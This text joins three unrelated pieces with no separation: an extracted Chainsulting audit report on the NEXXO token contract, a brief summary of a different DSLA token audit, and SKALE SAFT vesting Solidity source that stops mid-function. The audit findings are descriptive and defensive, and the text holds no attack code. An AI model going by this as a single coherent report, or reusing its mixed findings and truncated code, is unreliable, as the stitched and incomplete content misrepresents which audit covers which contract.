Mythril Classic & MYTHX Security Audit ....................................................................................................................................................... 11 5.1.1 A floating pragma is set. ................................................................................................................................................................................ 12 5.1.2 Implicit loop over unbounded data structure. ............................................................................................................................................. 13 6. Specific Attacks (Old Contract) .............................................................................................................................................................................. 14 7. SWC Attacks (New Contract) ................................................................................................................................................................................. 15 7.1 The arithmetic operation can overflow ........................................................................................................................................................... 15 7.2 Loop over unbounded data structure. ............................................................................................................................................................ 16 7.3 Implicit loop over unbounded data structure. ................................................................................................................................................ 17 7.4 Call with hardcoded gas amount. .................................................................................................................................................................... 18 8. Executive Summary ................................................................................................................................................................................................. 19 9. Deployed Smart Contract ....................................................................................................................................................................................... 20 3 / 20 Chainsulting Audit Report © 2020 1. Disclaimer The audit makes no statements or warrantees about utility of the code, safety of the code, suitability of the business model, investment advice, endorsement of the platform or its products, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. The audit documentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of NEXXO SG PTE. LTD. . If you are not the intended receptor of this document, remember that any disclosure, copying or dissemination of it is forbidden. Previous Audit: https://github.com/chainsulting/Smart-Contract-Security-Audits/tree/master/Nexxo/2019 First Audit: https://github.com/chainsulting/Smart-Contract-Security-Audits/blob/master/Nexxo/2020/First%20Contract/02_Smart%20Contract%20Audit%20Nexxo_18_06_2020.pdf Major Versions / Date Description Author 0.1 (16.06.2020) Layout Y. Heinze 0.5 (18.06.2020) Automated Security Testing Manual Security Testing Y. Heinze 1.0 (19.06.2020) Summary and Recommendation Y. Heinze 1.1 (22.06.2020) Adding of MythX Y. Heinze 1.5 (23.06.2020) First audit review and submit changes Y. Heinze 2.0 (29.07.2020) Second audit review from updated contract Y. Heinze 2.1 (07.08.2020) Final edits and adding of the deployed contract etherscan link Y. Heinze 4 / 20 Chainsulting Audit Report © 2020 2. About the Project and Company Company address: NEXXO SG PTE. LTD. 61 ROBINSON ROAD #19-02 ROBINSON CENTRE SINGAPORE 068893 CERTIFICATION OF INCORPORATION NO: 201832832R LEGAL REPRESENTIVE: NEBIL BEN AISSA 5 / 20 Chainsulting Audit Report © 2020 2.1 Project Overview: The world's first global blockchain-powered small business financial services platform. Nexxo is a multi-national company (currently incorporated in Qatar, UAE, India, Pakistan, Singapore and Cyprus Eurozone); it provides financial services to small businesses in the Middle East and emerging markets. Nexxo financial services are bank accounts with an IBAN (International Bank Account Number), MasterCard powered Salary Cards, electronic commerce, Point of Sale, bill payment, invoicing as well as (in the future) loans and financing facilities. These solutions are offered using blockchain technology which reduces the cost of the service, as well as help small businesses grow their revenues, lower costs and achieve a better life for themselves and their families. A Very unique characteristic of NEXXO is that it partners with locally licensed banks, and operates under approval of local central banks; its blockchain is architected to be in full compliance with local central banks, and its token is designed as a reward and discount token, thus not in conflict with locally regulated national currencies. All localized Nexxo Blockchains are Powered by IBM Hyperledger, and connected onto a multi-country international blockchain called NEXXONET. NEXXO operates in multiple countries, it generates profits of Approximately $4.0 Mil USD (audited by Deloitte) and is managed by a highly skilled and experienced team. Security Notice: Re-deploy of the Smart Contract due to a security breach on Digifinex platform. 6 / 20 Chainsulting Audit Report © 2020 3. Vulnerability & Risk Level Risk represents the probability that a certain source-threat will exploit vulnerability, and the impact of that event on the organization or system. Risk Level is computed based on CVSS version 3.0. Level Value Vulnerability Risk (Required Action) Critical 9 – 10 A vulnerability that can disrupt the contract functioning in a number of scenarios, or creates a risk that the contract may be broken. Immediate action to reduce risk level. High 7 – 8.9 A vulnerability that affects the desired outcome when using a contract, or provides the opportunity to use a contract in an unintended way. Implementation of corrective actions as soon as possible. Medium 4 – 6.9 A vulnerability that could affect the desired outcome of executing the contract in a specific scenario. Implementation of corrective actions in a certain period. Low 2 – 3.9 A vulnerability that does not have a significant impact on possible scenarios for the use of the contract and is probably subjective. Implementation of certain corrective actions or accepting the risk. Informational 0 – 1.9 A vulnerability that have informational character but is not effecting any of the code. An observation that does not determine a level of risk 7 / 20 Chainsulting Audit Report © 2020 4. Auditing Strategy and Techniques Applied Throughout the review process, care was taken to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. To do so, reviewed line-by-line by our team of expert pentesters and smart contract developers, documenting any issues as there were discovered. 4.1 Methodology The auditing process follows a routine series of steps: 1. Code review that includes the following: i. Review of the specifications, sources, and instructions provided to Chainsulting to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Chainsulting describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analysing a program to determine what inputs causes each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, actionable recommendations to help you take steps to secure your smart contracts. 8 / 20 Chainsulting Audit Report © 2020 4.2 Used Code from other Frameworks/Smart Contracts 1. SafeMath.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol 2. ERC20Burnable.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/ERC20Burnable.sol 3. ERC20.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol 4. IERC20.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol 5. Ownable.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol 6. Pausable.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/lifecycle/Pausable.sol 7. PauserRole.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/access/roles/PauserRole.sol 8. Roles.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/access/Roles.sol 9. SafeERC20.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/SafeERC20.sol 9 / 20 Chainsulting Audit Report © 2020 4.3 Tested Contract Files The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review File Fingerprint (SHA256) Source nexxo_contract_proxy_08_0_1.sol AC44BBF936FBE3AF0E30A7B2CD07836A11A5770BB80C678E74F5092FE1A2E988 https://raw.githubusercontent.com/chainsulting/Smart-Contract-Security-Audits/master/Nexxo/2020/Fixed%20Contract/nexxo_contract_proxy_08_0_1.sol nexxo_contract_solidity_08_0_1.sol A3B521889D46A851424AC3D570104A30857647C2510B6DDA8EE4612C6E038DE5 https://raw.githubusercontent.com/chainsulting/Smart-Contract-Security-Audits/master/Nexxo/2020/Fixed%20Contract/nexxo_contract_solidity_08_0_1.sol 4.4 Contract Specifications Language Solidity Token Standard ERC20 Most Used Framework OpenZeppelin Compiler Version 0.6.11 Upgradeable Yes Burn Function Yes Proxy Yes Mint Function No (Fixed total supply) Lock Mechanism Yes Vesting Function Yes Ticker Symbol NEXXO Total Supply 100 000 000 000 Decimals 18 10 / 20 Chainsulting Audit Report © 2020 4.5 Special Security Note The following Smart Contracts are outdated and not anymore used by Nexxo Network Company. DON’T USE IT ! https://etherscan.io/token/0x2c7fa71e31c0c6bb9f21fc3c098ac2c53f8598cc https://etherscan.io/token/0x278a83b64c3e3e1139f8e8a52d96360ca3c69a3d 11 / 20 Chainsulting Audit Report © 2020 5. Test Suite Results The NEXXO Token is part of the Nexxo Smart Contract and this one was audited. All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. 5.1 Mythril Classic & MYTHX Security Audit Mythril Classic is an open-source security analysis tool for Ethereum smart contracts. It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities. 12 / 20 Chainsulting Audit Report © 2020 Issues (Old Contract) Source Code: https://raw.githubusercontent.com/chainsulting/Smart-Contract-Security-Audits/master/Nexxo/2020/First%20Contract/NexxoToken.sol 5.1.1 A floating pragma is set. Severity: LOW Code: SWC-103 Status: Fixed File(s) affected: NexxoToken.sol Attack / Description Code Snippet Result/Recommendation The current pragma Solidity directive is "">=0.5.3<=0.5.8"". It is recommended to specify a fixed compiler version to ensure that the bytecode produced does not vary between builds. This is especially important if you rely on bytecode-level verification of the code. Line: 1 pragma solidity >=0.5.3 <=0.5.8; It is recommended to follow the latter example, as future compiler versions may handle certain language constructions in a way the developer did not foresee. Pragma solidity 0.5.3 13 / 20 Chainsulting Audit Report © 2020 5.1.2 Implicit loop over unbounded data structure. Severity: LOW Code: SWC-128 Status: Fixed File(s) affected: NexxoToken.sol Attack / Description Code Snippet Result/Recommendation Gas consumption in function "getBlockedAddressList" in contract "NexxoTokens" depends on the size of data structures that may grow unboundedly. The highlighted statement involves copying the array "blockedAddressList" from "storage" to "memory". When copying arrays from "storage" to "memory" the Solidity compiler emits an implicit loop.If the array grows too large, the gas required to execute the code will exceed the block gas limit, effectively causing a denial-of-service condition. Consider that an attacker might attempt to cause this condition on purpose. Line: 1438 – 1440 function getBlockedAddressList() public onlyOwner view returns(address [] memory) { return blockedAddressList; } Only the Owner can use that function. The NEXXO Smart Contract is secure against that attack Result: The analysis was completed successfully. No major issues were detected. 14 / 20 Chainsulting Audit Report © 2020 6. Specific Attacks (Old Contract) Attack / Description Code Snippet Severity Result/Recommendation Checking Outdated Libraries All libraries are based on OpenZeppelin Framework solidity 0.5.0 https://github.com/OpenZeppelin/openzeppelin-contracts/tree/release-v2.5.0 Status: Fixed Severity: 2 Recommended to migrate the contract to solidity v.0.6.0 and the used libraries. Example: Line 19 - 111 SafeMath.sol migrate to v.0.6 https://github.com/OpenZeppelin/openzeppelin-contracts/commit/5dfe7215a9156465d550030eadc08770503b2b2f#diff-b7935a40e05eeb5fe9024dc210c8ad8a * Improvement: functions in SafeMath contract overloaded to accept custom error messages. * CHANGELOG updated, custom error messages added to ERC20, ERC721 and ERC777 for subtraction related exceptions. * SafeMath overloads for 'add' and 'mul' removed. * Error messages modified. Contract code size over limit. Contract creation initialization returns data with length of more than 24576 bytes. The deployment will likely fails. Status: Fixed Severity: 3 The Contract as delivered reached the 24 KB code size limit. To deploy the code you need to split your contracts into various contracts by using proxies. 15 / 20 Chainsulting Audit Report © 2020 7. SWC Attacks (New Contract) Detected Vulnerabilities Informational: 0 Low: 3 Medium: 0 High: 1 Critical: 0 7.1 The arithmetic operation can overflow Severity: HIGH Code: SWC-101 Status: Fixed (SafeMath newest version) File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation It is possible to cause an arithmetic overflow. Prevent the overflow by constraining inputs using the require() statement or use the OpenZeppelin SafeMath library for integer arithmetic operations. Refer to the transaction trace generated for this issue to reproduce the overflow. Line: 1013 uint256 amount = msg.value * unitsOneEthCanBuy(); The NEXXO Smart Contract is secure against that attack with using SafeMath library 16 / 20 Chainsulting Audit Report © 2020 7.2 Loop over unbounded data structure. Severity: LOW Code: SWC-128 File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation Gas consumption in function "toString" in contract "Strings" depends on the size of data structures or values that may grow unboundedly. If the data structure grows too large, the gas required to execute the code will exceed the block gas limit, effectively causing a denial-of-service condition. Consider that an attacker might attempt to cause this condition on purpose. Line: 78 / 85 while (temp != 0) { The NEXXO Smart Contract is secure against that attack 17 / 20 Chainsulting Audit Report © 2020 7.3 Implicit loop over unbounded data structure. Severity: LOW Code: SWC-128 File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation Gas consumption in function "getBlockedAddressList" in contract "NexxoTokensUpgrade1" depends on the size of data structures that may grow unboundedly. The highlighted statement involves copying the array "blockedAddressList" from "storage" to "memory". When copying arrays from "storage" to "memory" the Solidity compiler emits an implicit loop.If the array grows too large, the gas required to execute the code will exceed the block gas limit, effectively causing a denial-of-service condition. Consider that an attacker might attempt to cause this condition on purpose. Line: 1098 return blockedAddressList; The NEXXO Smart Contract is secure against that attack 18 / 20 Chainsulting Audit Report © 2020 7.4 Call with hardcoded gas amount. Severity: LOW Code: SWC-134 File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation The highlighted function call forwards a fixed amount of gas. This is discouraged as the gas cost of EVM instructions may change in the future, which could break this contract's assumptions. If this was done to prevent reentrancy attacks, consider alternative methods such as the checks-effects-interactions pattern or reentrancy locks instead. Line: 1020 ownerWallet().transfer(msg.value); //Transfer ether to fundsWallet The NEXXO Smart Contract is secure against that attack Sources: https://smartcontractsecurity.github.io/SWC-registry https://dasp.co https://github.com/chainsulting/Smart-Contract-Security-Audits https://consensys.github.io/smart-contract-best-practices/known_attacks 19 / 20 Chainsulting Audit Report © 2020 8. Executive Summary A majority of the code was standard and copied from widely-used and reviewed contracts and as a result, a lot of the code was reviewed before. It correctly implemented widely-used and reviewed contracts for safe mathematical operations. The audit identified no major security vulnerabilities, at the moment of audit. We noted that a majority of the functions were self-explanatory, and standard documentation tags (such as @dev, @param, and @returns) were included. All recommendations from the first audit are implemented by the Nexxo Team. 20 / 20 Chainsulting Audit Report © 2020 9. Deployed Smart Contract Token Address: https://etherscan.io/token/0xd98bd7bbd9ca9b4323448388aec1f7c67f733980 Contract Address: https://etherscan.io/address/0xcabc7ee40cacf896ca7a2850187e1781b05f09c5 Proxy Contract Address: https://etherscan.io/address/0xd98bd7bbd9ca9b4323448388aec1f7c67f733980
1-Minor severity – A vulnerability that have minor effect on the code and can be fixed with minor changes. 2-Moderate severity – A vulnerability that have moderate effect on the code and can be fixed with moderate changes. 3-Major severity – A vulnerability that have major effect on the code and can be fixed with major changes. 4-Critical severity – A vulnerability that have critical effect on the code and can be fixed with critical changes. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unused variables in the contract (line 28, line 32, line 33) 2.b Fix: Remove the unused variables (line 28, line 32, line 33) Observations: The DSLA Token is part of the DSLA Crowdsale Contract and both were audited. All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. Used Code from other Frameworks/Smart Contracts (3th Party): 1. SafeMath.sol 2. ERC20Burnable.sol 3. ERC20.sol 4. IERC20.sol 5. Ownable.sol 6. Pausable.sol 7. PauserRole.sol Conclusion: The audit of the DSLA Token and Crowdsale Contract revealed no critical or major issues. There were two minor issues which were related to unused variables in the contract. These issues were fixed by removing the unused variables. Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 0 Critical: 0 Observations: - Language used is Solidity - Token Standard is ERC20 - Most Used Framework is OpenZeppelin - Compiler Version is 0.4.24 - Burn Function is present - Mint Function is present - Ticker Symbol is DSLA - Total Supply is 10 000 000 000 - Timestamps used is Blocktimestamp Conclusion: The report shows that the contracts and methods used for the DSLA Token are secure and up to date.
// SPDX-License-Identifier: AGPL-3.0-only /* ContractManager.sol - SKALE SAFT Core Copyright (C) 2020-Present SKALE Labs @author Artem Payvin SKALE SAFT Core is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE SAFT Core is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE SAFT Core. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol"; import "./utils/StringUtils.sol"; /** * @title Contract Manager * @dev This contract is the main contract for upgradeable approach. This * contract contains the current mapping from contract IDs (in the form of * human-readable strings) to addresses. */ contract ContractManager is OwnableUpgradeSafe { using StringUtils for string; using Address for address; // mapping of actual smart contracts addresses mapping (bytes32 => address) public contracts; event ContractUpgraded(string contractsName, address contractsAddress); function initialize() external initializer { OwnableUpgradeSafe.__Ownable_init(); } /** * @dev Allows Owner to add contract to mapping of actual contract addresses * * Emits ContractUpgraded event. * * Requirements: * * - Contract address is non-zero. * - Contract address is not already added. * - Contract contains code. */ function setContractsAddress(string calldata contractsName, address newContractsAddress) external onlyOwner { // check newContractsAddress is not equal to zero require(newContractsAddress != address(0), "New address is equal zero"); // create hash of contractsName bytes32 contractId = keccak256(abi.encodePacked(contractsName)); // check newContractsAddress is not equal the previous contract's address require(contracts[contractId] != newContractsAddress, "Contract is already added"); require(newContractsAddress.isContract(), "Given contracts address does not contain code"); // add newContractsAddress to mapping of actual contract addresses contracts[contractId] = newContractsAddress; emit ContractUpgraded(contractsName, newContractsAddress); } /** * @dev Returns the contract address of a given contract name. * * Requirements: * * - Contract mapping must exist. */ function getContract(string calldata name) external view returns (address contractAddress) { contractAddress = contracts[keccak256(abi.encodePacked(name))]; require(contractAddress != address(0), name.strConcat(" contract has not been found")); } } // SPDX-License-Identifier: AGPL-3.0-only /* SAFT.sol - SKALE SAFT Core Copyright (C) 2020-Present SKALE Labs @author Artem Payvin SKALE SAFT Core is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE SAFT Core is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE SAFT Core. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "./interfaces/delegation/ILocker.sol"; import "./interfaces/ITimeHelpers.sol"; import "./Permissions.sol"; /** * @title SAFT * @dev This contract manages SKALE investor tokens based on the Simple * Agreement for Future Tokens (SAFT). * * An investor (holder) may participate in multiple SAFT rounds. * * A SAFT is defined by an initial token lock period, followed by periodic * unlocking. * * The process to onboard SAFT holders is as follows: * * 1- SAFT holders are registered to a SAFT by SKALE or ConsenSys Activate. * 2- SAFT holders approve their address. * 3- SKALE then activates each holder. */ contract SAFT is ILocker, Permissions, IERC777Recipient { enum TimeLine {DAY, MONTH, YEAR} struct SAFTRound { uint fullPeriod; uint lockupPeriod; // months TimeLine vestingPeriod; uint regularPaymentTime; // amount of days/months/years } struct SaftHolder { bool registered; bool approved; bool active; uint saftRoundId; uint startVestingTime; uint fullAmount; uint afterLockupAmount; } event SaftRoundCreated( uint id ); bytes32 public constant ACTIVATE_ROLE = keccak256("ACTIVATE_ROLE"); IERC1820Registry private _erc1820; // array of SAFT configs SAFTRound[] private _saftRounds; // SAFTRound[] private _otherPlans; // holder => SAFT holder params mapping (address => SaftHolder) private _vestingHolders; // holder => address of vesting escrow // mapping (address => address) private _holderToEscrow; modifier onlyOwnerAndActivate() { require(_isOwner() || hasRole(ACTIVATE_ROLE, _msgSender()), "Not authorized"); _; } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override allow("SkaleToken") // solhint-disable-next-line no-empty-blocks { } /** * @dev Allows `msg.sender` to approve their address as a SAFT holder. * * Requirements: * * - Holder address must be already registered. * - Holder address must not already be approved. */ function approveSAFTHolder() external { address holder = msg.sender; require(_vestingHolders[holder].registered, "SAFT is not registered"); require(!_vestingHolders[holder].approved, "SAFT is already approved"); _vestingHolders[holder].approved = true; } /** * @dev Allows Owner to activate a holder address and transfers locked * tokens to a holder address. * * Requirements: * * - Holder address must be already registered. * - Holder address must be approved. */ function startUnlocking(address holder) external onlyOwner { require(_vestingHolders[holder].registered, "SAFT is not registered"); require(_vestingHolders[holder].approved, "SAFT is not approved"); _vestingHolders[holder].active = true; require( IERC20(contractManager.getContract("SkaleToken")).transfer( holder, _vestingHolders[holder].fullAmount ), "Error of token sending" ); } /** * @dev Allows Owner to define and add a SAFT round. * * Requirements: * * - Lockup period must be less than or equal to the full period. * - Locked period must be in days, months, or years. * - The full period must equal the lock period plus the unlock schedule. */ function addSAFTRound( uint lockupPeriod, // months uint fullPeriod, // months uint8 vestingPeriod, // 1 - day 2 - month 3 - year uint vestingTimes // months or days or years ) external onlyOwner { require(fullPeriod >= lockupPeriod, "Incorrect periods"); require(vestingPeriod >= 1 && vestingPeriod <= 3, "Incorrect vesting period"); require( (fullPeriod - lockupPeriod) == vestingTimes || ((fullPeriod - lockupPeriod) / vestingTimes) * vestingTimes == fullPeriod - lockupPeriod, "Incorrect vesting times" ); _saftRounds.push(SAFTRound({ fullPeriod: fullPeriod, lockupPeriod: lockupPeriod, vestingPeriod: TimeLine(vestingPeriod - 1), regularPaymentTime: vestingTimes })); emit SaftRoundCreated(_saftRounds.length - 1); } /** * @dev Allows Owner and Activate to register a holder to a SAFT round. * * Requirements: * * - SAFT round must already exist. * - The lockup amount must be less than or equal to the full allocation. * - The start date for unlocking must not have already passed. * - The holder address must not already be included in this SAFT round. */ function connectHolderToSAFT( address holder, uint saftRoundId, uint startVestingTime, // timestamp uint fullAmount, uint lockupAmount ) external onlyOwnerAndActivate { // TOOD: Fix index error require(_saftRounds.length >= saftRoundId && saftRoundId > 0, "SAFT round does not exist"); require(fullAmount >= lockupAmount, "Incorrect amounts"); require(startVestingTime <= now, "Incorrect period starts"); require(!_vestingHolders[holder].registered, "SAFT holder is already added"); _vestingHolders[holder] = SaftHolder({ registered: true, approved: false, active: false, saftRoundId: saftRoundId, startVestingTime: startVestingTime, fullAmount: fullAmount, afterLockupAmount: lockupAmount }); // if (connectHolderToEscrow) { // _holderToEscrow[holder] = address(new CoreEscrow(address(contractManager), holder)); // } else { // _holderToEscrow[holder] = holder; // } } /** * @dev Updates and returns the current locked amount of tokens. */ function getAndUpdateLockedAmount(address wallet) external override returns (uint) { if (! _vestingHolders[wallet].active) { return 0; } return getLockedAmount(wallet); } /** * @dev Updates and returns the slashed amount of tokens. */ function getAndUpdateForbiddenForDelegationAmount(address) external override returns (uint) { // network_launch_timestamp return 0; } /** * @dev Returns the start time of the SAFT. */ function getStartVestingTime(address holder) external view returns (uint) { return _vestingHolders[holder].startVestingTime; } /** * @dev Returns the time of final unlock. */ function getFinishVestingTime(address holder) external view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); SaftHolder memory saftHolder = _vestingHolders[holder]; SAFTRound memory saftParams = _saftRounds[saftHolder.saftRoundId - 1]; return timeHelpers.addMonths(saftHolder.startVestingTime, saftParams.fullPeriod); } /** * @dev Returns the lockup period in months. */ function getLockupPeriodInMonth(address holder) external view returns (uint) { return _saftRounds[_vestingHolders[holder].saftRoundId - 1].lockupPeriod; } /** * @dev Confirms whether the holder is in an active state. */ function isActiveVestingTerm(address holder) external view returns (bool) { return _vestingHolders[holder].active; } /** * @dev Confirms whether the holder is approved in a SAFT round. */ function isApprovedSAFT(address holder) external view returns (bool) { return _vestingHolders[holder].approved; } /** * @dev Confirms whether the holder is in a registered state. */ function isSAFTRegistered(address holder) external view returns (bool) { return _vestingHolders[holder].registered; } /** * @dev Returns the locked and unlocked (full) amount of tokens allocated to * the holder address in SAFT. */ function getFullAmount(address holder) external view returns (uint) { return _vestingHolders[holder].fullAmount; } /** * @dev Returns the timestamp when lockup period ends and periodic unlocking * begins. */ function getLockupPeriodTimestamp(address holder) external view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); SaftHolder memory saftHolder = _vestingHolders[holder]; SAFTRound memory saftParams = _saftRounds[saftHolder.saftRoundId - 1]; return timeHelpers.addMonths(saftHolder.startVestingTime, saftParams.lockupPeriod); } /** * @dev Returns the time of next unlock. */ function getTimeOfNextUnlock(address holder) external view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); uint date = now; SaftHolder memory saftHolder = _vestingHolders[holder]; SAFTRound memory saftParams = _saftRounds[saftHolder.saftRoundId - 1]; uint lockupDate = timeHelpers.addMonths(saftHolder.startVestingTime, saftParams.lockupPeriod); if (date < lockupDate) { return lockupDate; } uint dateTime = _getTimePointInCorrectPeriod(date, saftParams.vestingPeriod); uint lockupTime = _getTimePointInCorrectPeriod( timeHelpers.addMonths(saftHolder.startVestingTime, saftParams.lockupPeriod), saftParams.vestingPeriod ); uint finishTime = _getTimePointInCorrectPeriod( timeHelpers.addMonths(saftHolder.startVestingTime, saftParams.fullPeriod), saftParams.vestingPeriod ); uint numberOfDonePayments = dateTime.sub(lockupTime).div(saftParams.regularPaymentTime); uint numberOfAllPayments = finishTime.sub(lockupTime).div(saftParams.regularPaymentTime); if (numberOfAllPayments <= numberOfDonePayments + 1) { return timeHelpers.addMonths( saftHolder.startVestingTime, saftParams.fullPeriod ); } uint nextPayment = finishTime .sub( saftParams.regularPaymentTime.mul(numberOfAllPayments.sub(numberOfDonePayments + 1)) ); return _addMonthsAndTimePoint(lockupDate, nextPayment - lockupTime, saftParams.vestingPeriod); } /** * @dev Returns the SAFT round parameters. * * Requirements: * * - SAFT round must already exist. */ function getSAFTRound(uint saftRoundId) external view returns (SAFTRound memory) { require(saftRoundId > 0 && saftRoundId <= _saftRounds.length, "SAFT Round does not exist"); return _saftRounds[saftRoundId - 1]; } /** * @dev Returns the SAFT round parameters for a holder address. * * Requirements: * * - Holder address must be registered to a SAFT. */ function getSAFTHolderParams(address holder) external view returns (SaftHolder memory) { require(_vestingHolders[holder].registered, "SAFT holder is not registered"); return _vestingHolders[holder]; } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); // vestingManager = msg.sender; _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this)); } /** * @dev Returns the locked amount of tokens. */ function getLockedAmount(address wallet) public view returns (uint) { return _vestingHolders[wallet].fullAmount - calculateUnlockedAmount(wallet); } /** * @dev Calculates and returns the amount of unlocked tokens. */ function calculateUnlockedAmount(address wallet) public view returns (uint unlockedAmount) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); uint date = now; SaftHolder memory saftHolder = _vestingHolders[wallet]; SAFTRound memory saftParams = _saftRounds[saftHolder.saftRoundId - 1]; unlockedAmount = 0; if (date >= timeHelpers.addMonths(saftHolder.startVestingTime, saftParams.lockupPeriod)) { unlockedAmount = saftHolder.afterLockupAmount; if (date >= timeHelpers.addMonths(saftHolder.startVestingTime, saftParams.fullPeriod)) { unlockedAmount = saftHolder.fullAmount; } else { uint partPayment = _getPartPayment(wallet, saftHolder.fullAmount, saftHolder.afterLockupAmount); unlockedAmount = unlockedAmount.add(partPayment.mul(_getNumberOfCompletedUnlocks(wallet))); } } } /** * @dev Returns the number of unlocking events that have occurred. */ function _getNumberOfCompletedUnlocks(address wallet) internal view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); uint date = now; SaftHolder memory saftHolder = _vestingHolders[wallet]; SAFTRound memory saftParams = _saftRounds[saftHolder.saftRoundId - 1]; // if (date < timeHelpers.addMonths(saftHolder.startVestingTime, saftParams.lockupPeriod)) { // return 0; // } uint dateTime = _getTimePointInCorrectPeriod(date, saftParams.vestingPeriod); uint lockupTime = _getTimePointInCorrectPeriod( timeHelpers.addMonths(saftHolder.startVestingTime, saftParams.lockupPeriod), saftParams.vestingPeriod ); return dateTime.sub(lockupTime).div(saftParams.regularPaymentTime); } /** * @dev Returns the total number of unlocking events. */ function _getNumberOfAllUnlocks(address wallet) internal view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); SaftHolder memory saftHolder = _vestingHolders[wallet]; SAFTRound memory saftParams = _saftRounds[saftHolder.saftRoundId - 1]; uint finishTime = _getTimePointInCorrectPeriod( timeHelpers.addMonths(saftHolder.startVestingTime, saftParams.fullPeriod), saftParams.vestingPeriod ); uint afterLockupTime = _getTimePointInCorrectPeriod( timeHelpers.addMonths(saftHolder.startVestingTime, saftParams.lockupPeriod), saftParams.vestingPeriod ); return finishTime.sub(afterLockupTime).div(saftParams.regularPaymentTime); } /** * @dev Returns the amount of tokens that are unlocked in each unlocking * period. */ function _getPartPayment( address wallet, uint fullAmount, uint afterLockupPeriodAmount ) internal view returns(uint) { return fullAmount.sub(afterLockupPeriodAmount).div(_getNumberOfAllUnlocks(wallet)); } /** * @dev Returns timestamp when adding timepoints (days/months/years) to * timestamp. */ function _getTimePointInCorrectPeriod(uint timestamp, TimeLine vestingPeriod) private view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); if (vestingPeriod == TimeLine.DAY) { return timeHelpers.timestampToDay(timestamp); } else if (vestingPeriod == TimeLine.MONTH) { return timeHelpers.timestampToMonth(timestamp); } else { return timeHelpers.timestampToYear(timestamp); } } /** * @dev Returns timepoints (days/months/years) from a given timestamp. */ function _addMonthsAndTimePoint( uint timestamp, uint timePoints, TimeLine vestingPeriod ) private view returns (uint) { ITimeHelpers timeHelpers = ITimeHelpers(contractManager.getContract("TimeHelpers")); if (vestingPeriod == TimeLine.DAY) { return 